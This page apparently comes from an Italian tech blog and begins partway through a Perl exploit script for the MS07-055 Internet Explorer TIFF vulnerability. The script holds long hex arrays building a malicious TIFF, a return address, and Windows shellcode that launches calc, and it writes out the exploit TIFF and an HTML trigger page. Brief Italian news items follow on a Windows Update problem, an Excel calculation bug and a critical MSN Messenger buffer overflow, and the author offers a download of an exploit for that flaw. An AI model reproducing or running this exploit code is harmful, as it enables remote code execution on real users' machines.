“\x90\x48\x64\x52\x39\x24\x96\x4D\x27\x94\x4A\x65″.
“\x52\xB9\x64\xB6\x5D\x2F\x98\x4C\x66\x53\x39\xA4″.
“\xD6\x6D\x37\x9C\x4E\x67\x53\xB9\xE4\xF6\x7D\x3F”.
“\xA0\x50\x68\x54\x3A\x25\x16\x8D\x47\xA4\x52\x69″.
“\x54\xBA\x65\x36\x9D\x4F\xA8\x54\x6A\x55\x3A\xA5″.
“\x56\xAD\x57\xAC\x56\x6B\x55\xBA\xE5\x76\xBD\x5F”.
“\xB0\x58\x6C\x56\x3B\x25\x96\xCD\x67\xB4\x5A\x6D”.
“\x56\xBB\x65\xB6\xDD\x6F\xB8\x5C\x6E\x57\x3B\xA5″.
“\xD6\xED\x77\xBC\x5E\x6F\x57\xBB\xE5\xF6\xFD\x7F”.
“\xC0\x60\x70\x58\x3C\x26\x17\x0D\x87\xC4\x62\x71″.
“\x58\xBC\x66\x37\x1D\x8F\xC8\x64\x72\x59\x3C\xA6″.
“\x57\x2D\x97\x96\x40\x40\x80\x3F\xE0\x50\x38\x24″.
“\x16\x0D\x07\x84\x42\x61\x50\xB8\x64\x36\x1D\x0F”.
“\x88\x44\x62\x51\x38\xA4\x56\x2D\x17\x8C\x46\x63″.
“\x51\xB8\xE4\x76\x3D\x1F\x90\x48\x64\x52\x39\x24″.
“\x96\x4D\x27\x94\x4A\x65\x52\xB9\x64\xB6\x5D\x2F”.
“\x98\x4C\x66\x53\x39\xA4\xD6\x6D\x37\x9C\x4E\x67″.
“\x53\xB9\xE4\xF6\x7D\x3F\xA0\x50\x68\x54\x3A\x25″.
“\x16\x8D\x47\xA4\x52\x69\x54\xBA\x65\x36\x9D\x4F”.
“\xA8\x54\x6A\x55\x3A\xA5\x56\xAD\x57\xAC\x56\x6B”.
“\x55\xBA\xE5\x76\xBD\x5F\xB0\x58\x6C\x56\x3B\x25″.
“\x96\xCD\x67\xB4\x5A\x6D\x56\xBB\x65\xB6\xDD\x6F”.
“\xB8\x5C\x6E\x57\x3B\xA5\xD6\xED\x77\xBC\x5E\x6F”.
“\x57\xBB\xE5\xF6\xFD\x7F\xC0\x60\x70\x58\x3C\x26″.
“\x17\x0D\x87\xC4\x62\x71\x58\xBC\x66\x37\x1D\x8F”.
“\xC8\x64\x72\x59\x3C\xA6\x57\x2D\x97\x96\x40\x40″.
“\x80\x3F\xE0\x50\x38\x24\x16\x0D\x07\x84\x42\x61″.
“\x50\xB8\x64\x36\x1D\x0F\x88\x44\x62\x51\x38\xA4″.
“\x56\x2D\x17\x8C\x46\x63\x51\xB8\xE4\x76\x3D\x1F”.
“\x90\x48\x64\x52\x39\x24\x96\x4D\x27\x94\x4A\x65″.
“\x52\xB9\x64\xB6\x5D\x2F\x98\x4C\x66\x53\x39\xA4″.
“\xD6\x6D\x37\x9C\x4E\x67\x53\xB9\xE4\xF6\x7D\x3F”.
“\xA0\x50\x68\x54\x3A\x25\x16\x8D\x47\xA4\x52\x69″.
“\x54\xBA\x65\x36\x9D\x4F\xA8\x54\x6A\x55\x3A\xA5″.
“\x56\xAD\x57\xAC\x56\x6B\x55\xBA\xE5\x76\xBD\x5F”.
“\xB0\x58\x6C\x56\x3B\x25\x96\xCD\x67\xB4\x5A\x6D”.
“\x56\xBB\x65\xB6\xDD\x6F\xB8\x5C\x6E\x57\x3B\xA5″.
“\xD6\xED\x77\xBC\x5E\x6F\x57\xBB\xE5\xF6\xFD\x7F”.
“\xC0\x60\x70\x58\x3C\x26\x17\x0D\x87\xC4\x62\x71″.
“\x58\xBC\x66\x37\x1D\x8F\xC8\x64\x72\x59\x3C\xA6″.
“\x57\x2D\x97\x96\x40\x40\x80\x3F\xE0\x50\x38\x24″.
“\x16\x0D\x07\x84\x42\x61\x50\xB8\x64\x36\x1D\x0F”.
“\x88\x44\x62\x51\x38\xA4\x56\x2D\x17\x8C\x46\x63″.
“\x51\xB8\xE4\x76\x3D\x1F\x90\x48\x64\x52\x39\x24″.
“\x96\x4D\x27\x94\x4A\x65\x52\xB9\x64\xB6\x5D\x2F”.
“\x98\x4C\x66\x53\x39\xA4\xD6\x6D\x37\x9C\x4E\x67″.
“\x53\xB9\xE4\xF6\x7D\x3F\xA0\x50\x68\x54\x3A\x25″.
“\x16\x8D\x47\xA4\x52\x69\x54\xBA\x65\x36\x9D\x4F”.
“\xA8\x54\x6A\x55\x3A\xA5\x56\xAD\x57\xAC\x56\x6B”.
“\x55\xBA\xE5\x76\xBD\x5F\xB0\x58\x6C\x56\x3B\x25″.
“\x96\xCD\x67\xB4\x5A\x6D\x56\xBB\x65\xB6\xDD\x6F”.
“\xB8\x5C\x6E\x57\x3B\xA5\xD6\xED\x77\xBC\x5E\x6F”.
“\x57\xBB\xE5\xF6\xFD\x7F\xC0\x60\x70\x58\x3C\x26″.
“\x17\x0D\x87\xC4\x62\x71\x58\xBC\x66\x37\x1D\x8F”.
“\xC8\x64\x72\x59\x3C\xA6\x57\x2D\x97\x96\x40\x40″.
“\x80\x3F\xE0\x50\x38\x24\x16\x0D\x07\x84\x42\x61″.
“\x50\xB8\x64\x36\x1D\x0F\x88\x44\x62\x51\x38\xA4″.
“\x56\x2D\x17\x8C\x46\x63\x51\xB8\xE4\x76\x3D\x1F”.
“\x90\x48\x64\x52\x39\x24\x96\x4D\x27\x94\x4A\x65″.
“\x52\xB9\x64\xB6\x5D\x2F\x98\x4C\x66\x53\x39\xA4″.
“\xD6\x6D\x37\x9C\x4E\x67\x53\xB9\xE4\xF6\x7D\x3F”.
“\xA0\x50\x68\x54\x3A\x25\x16\x8D\x47\xA4\x52\x69″.
“\x54\xBA\x65\x36\x9D\x4F\xA8\x54\x6A\x55\x3A\xA5″.
“\x56\xAD\x57\xAC\x56\x6B\x55\xBA\xE5\x76\xBD\x5F”.
“\xB0\x58\x6C\x56\x3B\x25\x96\xCD\x67\xB4\x5A\x6D”.
“\x56\xBB\x65\xB6\xDD\x6F\xB8\x5C\x6E\x57\x3B\xA5″.
“\xD6\xED\x77\xBC\x5E\x6F\x57\xBB\xE5\xF6\xFD\x7F”.
“\xC0\x60\x70\x58\x3C\x26\x17\x0D\x87\xC4\x62\x71″.
“\x58\xBC\x66\x37\x1D\x8F\xC8\x64\x72\x59\x3C\xA6″.
“\x57\x2D\x97\x96\x40\x40\x80\x3F\xE0\x50\x38\x24″.
“\x16\x0D\x07\x84\x42\x61\x50\xB8\x64\x36\x1D\x0F”.
“\x88\x44\x62\x51\x38\xA4\x56\x2D\x17\x8C\x46\x63″.
“\x51\xB8\xE4\x76\x3D\x1F\x90\x48\x64\x52\x39\x24″.
“\x96\x4D\x27\x94\x4A\x65\x52\xB9\x64\xB6\x5D\x2F”.
“\x98\x4C\x66\x53\x39\xA4\xD6\x6D\x37\x9C\x4E\x67″.
“\x53\xB9\xE4\xF6\x7D\x3F\xA0\x50\x68\x54\x3A\x25″.
“\x16\x8D\x47\xA4\x52\x69\x54\xBA\x65\x36\x9D\x4F”.
“\xA8\x54\x6A\x55\x3A\xA5\x56\xAD\x57\xAC\x56\x6B”.
“\x55\xBA\xE5\x76\xBD\x5F\xB0\x58\x6C\x56\x3B\x25″.
“\x96\xCD\x67\xB4\x5A\x6D\x56\xBB\x65\xB6\xDD\x6F”.
“\xB8\x5C\x6E\x57\x3B\xA5\xD6\xED\x77\xBC\x5E\x6F”.
“\x57\xBB\xE5\xF6\xFD\x7F\xC0\x60\x70\x58\x3C\x26″.
“\x17\x0D\x87\xC4\x62\x71\x58\xBC\x66\x37\x1D\x8F”.
“\xC8\x64\x72\x59\x3C\xA6\x57\x2D\x97\x96\x40\x40″.
“\x80\x3F\xE0\x50\x38\x24\x16\x0D\x07\x84\x42\x61″.
“\x50\xB8\x64\x36\x1D\x0F\x88\x44\x62\x51\x38\xA4″.
“\x56\x2D\x17\x8C\x46\x63\x51\xB8\xE4\x76\x3D\x1F”.
“\x90\x48\x64\x52\x39\x24\x96\x4D\x27\x94\x4A\x65″.
“\x52\xB9\x64\xB6\x5D\x2F\x98\x4C\x66\x53\x39\xA4″.
“\xD6\x6D\x37\x9C\x4E\x67\x53\xB9\xE4\xF6\x7D\x3F”.
“\xA0\x50\x68\x54\x3A\x25\x16\x8D\x47\xA4\x52\x69″.
“\x54\xBA\x65\x36\x9D\x4F\xA8\x54\x6A\x55\x3A\xA5″.
“\x56\xAD\x57\xAC\x56\x6B\x55\xBA\xE5\x76\xBD\x5F”.
“\xB0\x58\x6C\x56\x3B\x25\x96\xCD\x67\xB4\x5A\x6D”.
“\x56\xBB\x65\xB6\xDD\x6F\xB8\x5C\x6E\x57\x3B\xA5″.
“\xD6\xED\x77\xBC\x5E\x6F\x57\xBB\xE5\xF6\xFD\x7F”.
“\xC0\x60\x70\x58\x3C\x26\x17\x0D\x87\xC4\x62\x71″.
“\x58\xBC\x66\x37\x1D\x8F\xC8\x64\x72\x59\x3C\xA6″.
“\x57\x2D\x97\x96\x40\x40\x80\x3F\xE0\x50\x38\x24″.
“\x16\x0D\x07\x84\x42\x61\x50\xB8\x64\x36\x1D\x0F”.
“\x88\x44\x62\x51\x38\xA4\x56\x2D\x17\x8C\x46\x63″.
“\x51\xB8\xE4\x76\x3D\x1F\x90\x48\x64\x52\x39\x24″.
“\x96\x4D\x27\x94\x4A\x65\x52\xB9\x64\xB6\x5D\x2F”.
“\x98\x4C\x66\x53\x39\xA4\xD6\x6D\x37\x9C\x4E\x67″.
“\x53\xB9\xE4\xF6\x7D\x3F\xA0\x50\x68\x54\x3A\x25″.
“\x16\x8D\x47\xA4\x52\x69\x54\xBA\x65\x36\x9D\x4F”.
“\xA8\x54\x6A\x55\x3A\xA5\x56\xAD\x57\xAC\x56\x6B”.
“\x55\xBA\xE5\x76\xBD\x5F\xB0\x58\x6C\x56\x3B\x25″.
“\x96\xCD\x67\xB4\x5A\x6D\x56\xBB\x65\xB6\xDD\x6F”.
“\xB8\x5C\x6E\x57\x3B\xA5\xD6\xED\x77\xBC\x5E\x6F”.
“\x57\xBB\xE5\xF6\xFD\x7F\xC0\x60\x70\x58\x3C\x26″.
“\x17\x0D\x87\xC4\x62\x71\x58\xBC\x66\x37\x1D\x8F”.
“\xC8\x64\x72\x59\x3C\xA6\x57\x2D\x97\x96\x40\x40″.
“\x80\x3F\xE0\x50\x38\x24\x16\x0D\x07\x84\x42\x61″.
“\x50\xB8\x64\x36\x1D\x0F\x88\x44\x62\x51\x38\xA4″.
“\x56\x2D\x17\x8C\x46\x63\x51\xB8\xE4\x76\x3D\x1F”.
“\x90\x48\x64\x52\x39\x24\x96\x4D\x27\x94\x4A\x65″.
“\x52\xB9\x64\xB6\x5D\x2F\x98\x4C\x66\x53\x39\xA4″.
“\xD6\x6D\x37\x9C\x4E\x67\x53\xB9\xE4\xF6\x7D\x3F”.
“\xA0\x50\x68\x54\x3A\x25\x16\x8D\x47\xA4\x52\x69″.
“\x54\xBA\x65\x36\x9D\x4F\xA8\x54\x6A\x55\x3A\xA5″.
“\x56\xAD\x57\xAC\x56\x6B\x55\xBA\xE5\x76\xBD\x5F”.
“\xB0\x58\x6C\x56\x3B\x25\x96\xCD\x67\xB4\x5A\x6D”.
“\x56\xBB\x65\xB6\xDD\x6F\xB8\x5C\x6E\x57\x3B\xA5″.
“\xD6\xED\x77\xBC\x5E\x6F\x57\xBB\xE5\xF6\xFD\x7F”.
“\xC0\x60\x70\x58\x3C\x26\x17\x0D\x87\xC4\x62\x71″.
“\x58\xBC\x66\x37\x1D\x8F\xC8\x64\x72\x59\x3C\xA6″.
“\x57\x2D\x97\x96\x40\x40\x80\x3F\xE0\x50\x38\x24″.
“\x16\x0D\x07\x84\x42\x61\x50\xB8\x64\x36\x1D\x0F”.
“\x88\x44\x62\x51\x38\xA4\x56\x2D\x17\x8C\x46\x63″.
“\x51\xB8\xE4\x76\x3D\x1F\x90\x48\x64\x52\x39\x24″.
“\x96\x4D\x27\x94\x4A\x65\x52\xB9\x64\xB6\x5D\x2F”.
“\x98\x4C\x66\x53\x39\xA4\xD6\x6D\x37\x9C\x4E\x67″.
“\x53\xB9\xE4\xF6\x7D\x3F\xA0\x50\x68\x54\x3A\x25″.
“\x16\x8D\x47\xA4\x52\x69\x54\xBA\x65\x36\x9D\x4F”.
“\xA8\x54\x6A\x55\x3A\xA5\x56\xAD\x57\xAC\x56\x6B”.
“\x55\xBA\xE5\x76\xBD\x5F\xB0\x58\x6C\x56\x3B\x25″.
“\x96\xCD\x67\xB4\x5A\x6D\x56\xBB\x65\xB6\xDD\x6F”.
“\xB8\x5C\x6E\x57\x3B\xA5\xD6\xED\x77\xBC\x5E\x6F”.
“\x57\xBB\xE5\xF6\xFD\x7F\xC0\x60\x70\x58\x3C\x26″.
“\x17\x0D\x87\xC4\x62\x71\x58\xBC\x66\x37\x1D\x8F”.
“\xC8\x64\x72\x59\x3C\xA6\x57\x2D\x97\x96\x40\x40″.
“\x80\x3F\xE0\x50\x38\x24\x16\x0D\x07\x84\x42\x61″.
“\x50\xB8\x64\x36\x1D\x0F\x88\x44\x62\x51\x38\xA4″.
“\x56\x2D\x17\x8C\x46\x63\x51\xB8\xE4\x76\x3D\x1F”.
“\x90\x48\x64\x52\x39\x24\x96\x4D\x27\x94\x4A\x65″.
“\x52\xB9\x64\xB6\x5D\x2F\x98\x4C\x66\x53\x39\xA4″.
“\xD6\x6D\x37\x9C\x4E\x67\x53\xB9\xE4\xF6\x7D\x3F”.
“\xA0\x50\x68\x54\x3A\x25\x16\x8D\x47\xA4\x52\x69″.
“\x54\xBA\x65\x36\x9D\x4F\xA8\x54\x6A\x55\x3A\xA5″.
“\x56\xAD\x57\x86\x40\x40\x60\x00\x00\x00\x01\x00″.
“\x00\x00\x60\x00\x00\x00\x01\x00\x00\x00\x08\x00″.
“\x08\x00\x08\x00\xAE\x00\x00\x00\xAE\x00\x00\x00″.
“\xAE\x00\x00\x00\xAE\x00\x00\x00\xAE\x00\x00\x00″.
“\xAE\x00\x00\x00\xB4\x00\x00\x00\xBA\x00\x00\x00″.
“\xBA\x00\x03\x00\xCA\x00\x00\x00\xDB\x00\x00\x00″.
“\xD7\x00\x00\x00\xD6\x00″;

my $eip = “\x0c\x0c\x0c\x0c”;
my $data_0400 = “\x08\x00\x40\x00″;
my $data_null = “\x11\x00\x40\x00″;

my $tiff2 =
“\x00\x00\xB9\x90\x90\x90\x90\x90\xFC\xE8″.
“\x44\x00\x00\x00\x8B\x45\x3C\x8B\x7C\x05\x78\x01″.
“\xEF\x8B\x4F\x18\x8B\x5F\x20\x01\xEB\x49\x8B\x34″.
“\x8B\x01\xEE\x31\xC0\x99\xAC\x84\xC0\x74\x07\xC1″.
“\xCA\x0D\x01\xC2\xEB\xF4\x3B\x54\x24\x04\x75\xE5″.
“\x8B\x5F\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5F\x1C”.
“\x01\xEB\x8B\x1C\x8B\x01\xEB\x89\x5C\x24\x04\xC3″.
“\x31\xC0\x64\x8B\x40\x30\x85\xC0\x78\x0C\x8B\x40″.
“\x0C\x8B\x70\x1C\xAD\x8B\x68\x08\xEB\x09\x8B\x80″.
“\xB0\x00\x00\x00\x8B\x68\x3C\x5F\x31\xF6\x60\x56″.
“\x89\xF8\x83\xC0\x7B\x50\x68\x7E\xD8\xE2\x73\x68″.
“\x98\xFE\x8A\x0E\x57\xFF\xE7\x63\x61\x6C\x63\x00″.
“\xAE\x00\x00\x00\xAE\x00\x00\x00\xAE\x00\x00\x00″.
“\xAE\x00\x00\x00\xAE\x00\x00\x00\xAE\x00\x00\x00″.
“\xAE\x00\x00\x00\xAE\x00\x00\x00\xAE\x00\x00\x00″.
“\xAE\x00\x00\x00\xAE\x00\x00\x00\xAE\x00\x00\x00″.
“\xAE\x00\x00\x00\xAE\x00\x00\x00\xAE\x00\x00\x00″.
“\xAE\x00\x00\x00\xAE\x00\x00\x00\xAE\x00\x00\x00″.
“\xAE\x00\x00\x00\xAE\x00\x00\x00\xAE\x00\x00\x00″.
“\xAE\x00\x00\x00\xAE\x00\x00\x00\xAE\x00\x00\x00″.
“\xAE\x00\x00\x00\xAE\x00\x00\x00\xAE\x00\x00\x00″.
“\xAE\x00\x00\x00\xAE\x00\x00\x00\xAE\x00\x00\x00″.
“\xAE\x00\x00\x00\xAE\x00\x00\x00\x66\x00\x00\x00″.
“\x08\x00\x00\x00\xB6\x00\x00\x00\x64\x01\x00\x00″.
“\x12\x02\x00\x00\xC0\x02\x00\x00\x6E\x03\x00\x00″.
“\x1C\x04\x00\x00\xD0\x04\x00\x00\x8A\x05\x00\x00″.
“\x44\x06\x00\x00\x0E\x07\x00\x00\xE9\x07\x00\x00″.
“\xC0\x08\x00\x00\x96\x09\x00\x00\xB1\x0A\x00\x00″.
“\x99\x0B\x00\x00\x47\x0C\x00\x00\xF5\x0C\x00\x00″.
“\xA3\x0D\x00\x00\x5C\x0E\x00\x00\x16\x0F\x00\x00″.
“\xD2\x0F\x00\x00\x92\x10\x00\x00\x40\x11\x00\x00″.
“\xEE\x11\x00\x00\x9C\x12\x00\x00\x4A\x13\x00\x00″.
“\xF8\x13\x00\x00\xA6\x14\x00\x00\x54\x15\x00\x00″.
“\x02\x16\x00\x00\xB0\x16\x00\x00\x5E\x17\x00\x00″.
“\x0C\x18\x00\x00\xBA\x18\x00\x00\x68\x19\x00\x00″.
“\x16\x1A\x00\x00\xC4\x1A\x00\x00\x72\x1B\x00\x00″.
“\x20\x1C\x00\x00\xCE\x1C\x00\x00\x7C\x1D\x00\x00″.
“\x2A\x1E\x00\x00\xD8\x1E\x00\x00\x86\x1F\x00\x00″.
“\x34\x20\x00\x00\xE2\x20\x00\x00\x90\x21\x00\x00″.
“\x3E\x22\x00\x00\xEC\x22\x00\x00\x9A\x23\x00\x00″.
“\x48\x24\x00\x00\xF6\x24\x00\x00\xA4\x25\x00\x00″.
“\x52\x26\x00\x00\x00\x27\x00\x00\xAE\x27\x00\x00″.
“\x5C\x28\x00\x00\x0A\x29\x00\x00\xB8\x29\x00\x00″.
“\x66\x2A\x00\x00\x14\x2B\x00\x00\xC2\x2B\x00\x00″.
“\x70\x2C\x00\x00\x1E\x2D\x00\x00\xCC\x2D\x00\x00″.
“\x7A\x2E\x00\x00\x28\x2F\x00\x00\xD6\x2F\x00\x00″.
“\x84\x30\x00\x00\x32\x31\x00\x00\xE0\x31\x00\x00″.
“\x8E\x32\x00\x00\x3C\x33\x00\x00\xEA\x33\x00\x00″.
“\x98\x34\x00\x00\x46\x35\x00\x00\xF4\x35\x00\x00″.
“\xA2\x36\x00\x00\x50\x37\x00\x00\xFE\x37\x00\x00″.
“\xAC\x38\x00\x00\x5A\x39\x00\x00\x08\x3A\x00\x00″.
“\xB6\x3A\x00\x00\x64\x3B\x00\x00\x0F\x00\xFE\x00″.
“\x04\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01″.
“\x03\x00\x01\x00\x00\x00\x80\x02\x00\x00\x01\x01″.
“\x03\x00\x01\x00\x00\x00\x00\x02\x00\x00\x02\x01″.
“\x03\x00\xFF\x00\x00\x00\xDA\x3B\x00\x00\x03\x01″.
“\x03\x00\x01\x00\x00\x00\x05\x00\x00\x00\x06\x01″.
“\x03\x00\x01\x00\x00\x00\x02\x00\x00\x00\x11\x01″.
“\x04\x00\x56\x00\x00\x00\x38\x3D\x00\x00\x15\x01″.
“\x03\x00\x01\x00\x00\x00\x03\x00\x00\x00\x16\x01″.
“\x04\x00\x01\x00\x00\x00\x06\x00\x00\x00\x17\x01″.
“\x04\x00\x56\x00\x00\x00\xE0\x3B\x00\x00\x1A\x01″.
“\x05\x00\x01\x00\x00\x00\xCA\x3B\x00\x00\x1B\x01″.
“\x05\x00\x01\x00\x00\x00\xD2\x3B\x00\x00\x1C\x01″.
“\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x28\x01″.
“\x03\x00\x01\x00\x00\x00\x02\x00\x00\x00\x3D\x01″.
“\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00″.
“\x00\x00″;

# convert shellcode for javascript
if ((length($shellcode) / 2) =~ /\./) {
$shellcode .= “\x00″;
}

$shellcode =~ s/(.)(.)/’%u’.unpack(“H*”,
$2).unpack(“H*”, $1)/ge;

# write tiff file

open(FILE, “>ms07-055.tif”);
binmode(FILE);

print FILE $tiff1;
print FILE $eip;
print FILE $data_0400;
print FILE $data_0400;
print FILE $data_0400;
print FILE $data_null;
print FILE $tiff2;

close(FILE);

# write html file

open(FILE, “>ms07-055.html”);

print FILE <

Microsoft Internet Explorer TIF/TIFF Code Execution<br /> (MS07-055)

HTML

close(FILE);

Dopo questa notizia (riportata da questa fonte): La scorsa settimana alcuni utenti di Windows XP e Vista si sono accorti, non senza stupore, che certi file di sistema erano stati aggiornati senza la loro autorizzazione. In altre parole, la funzione Aggiornamenti automatici di Windows aveva installato un upate indipendentemente dal fatto che l’utente avesse configurato il servizio su “automatico”, “pianificazione” o “solo notifica”. Si scopre che in caso l’utente (o il computer stesso) rispristini il sistema dopo un errore si blocca il meccanismo degli aggiornamenti. Il problema sta che l’istallazione silente da parte di microsoft non registra i file aggiornati e fà bloccare Windows Upate restituendo questo messaggio: “Un problema nel vostro computer impedisce il download e l’installazione degli aggiornamenti”. Logicamente da questo danno sono colpiti tutti gli utenti di XP e Vista, dato che a bloccarsi è il sistema di aggiornamenti non si può risorvere il problema tramite un aggiornamento automatico. Una delle soluzioni diponibili è quella di Scott Dunn su questa pagina.

Un bug di excel corretto numerose volte durante le varie verioni è ricomparso ieri con l’ultima versione di office. Il bug introduce errori di calcolo nelle moltiplicazioni come si può vedere nell’immagine e la notizia è stata confermata da questo bollettino microsoft.

Bug su MSN Messenger e Messenger Live. Il Bug è dichiarato dai maggiori esperti di sicurezza come critico e secondo le prime dichiarazioni Microsoft non si riuscirà a risolvere il problema prima di un mese. In pratica il bug interessa la funzionalità di videochat: un malintenzionato può inviare un invito malformato alla vittima e di conseguenza il computer della vittima esegue i comandi dell’attaccante…

Il bug affligge tutte le versione di MSN Messenger 7.x e MSN Messenger 8. La tecnica usata è quella del buffer overflow: una tecnica molto diffusa che permette di rendirizzare il flusso di un programma verso le aree di memorie in cui sono contenute le istruzioni che l’attaccante desidera usare (una definizione si può trovare qui).

Esistono diversi exploit per mettere in atto l’attacco, uno si può scaricare dal mio sito cliccando qui. L’utilizzo è semplice:

A presto, arturu.it